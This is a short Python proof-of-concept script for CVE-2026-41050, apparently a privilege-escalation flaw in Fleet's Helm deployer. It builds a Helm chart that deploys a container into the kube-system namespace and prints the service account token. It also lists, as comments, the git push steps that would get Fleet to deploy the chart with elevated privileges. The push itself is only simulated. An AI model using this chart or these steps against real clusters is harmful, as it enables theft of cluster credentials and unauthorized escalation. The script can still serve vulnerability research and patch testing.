CVE-2026-41050 Fleet权限提升漏洞

#!/usr/bin/env python3 """ PoC Concept for CVE-2026-41050 Demonstrates the potential impact of the vulnerability by simulating a git push that triggers the vulnerable Helm deployer path. Note: Actual exploitation requires access to a Fleet-monitored repository. """ import os import subprocess # Configuration REPO_URL = "[email protected]:target-org/fleet-managed-repo.git" MALICIOUS_CHART_PATH = "./exploit-chart" # 1. Setup a malicious Helm chart structure # In a real scenario, this chart would trigger the specific code path # that fails to apply ServiceAccount impersonation. print("[*] Creating malicious Helm chart structure...") os.makedirs(f"{MALICIOUS_CHART_PATH}/templates", exist_ok=True) with open(f"{MALICIOUS_CHART_PATH}/Chart.yaml", "w") as f: f.write("""apiVersion: v2 name: exploit-cve-2026-41050 version: 0.1.0 """) # This deployment attempts to access secrets from a restricted namespace with open(f"{MALICIOUS_CHART_PATH}/templates/deployment.yaml", "w") as f: f.write("""apiVersion: apps/v1 kind: Deployment metadata: name: poc-deployment namespace: kube-system # Targeting restricted namespace spec: replicas: 1 selector: matchLabels: app: poc template: metadata: labels: app: poc spec: containers: - name: alpine image: alpine:3 command: ["sh", "-c", "cat /var/run/secrets/kubernetes.io/serviceaccount/token"] """) # 2. Simulate pushing to the Fleet-monitored repository print(f"[*] Simulating git push to {REPO_URL}...") print("[!] If vulnerable, Fleet will deploy this to kube-system using elevated privileges.") # Commands that would be run in an actual exploitation: # git clone REPO_URL # cp -r exploit-chart/* REPO_DIR/ # git add . # git commit -m "Trigger Deployer" # git push print("[+] PoC generation complete.")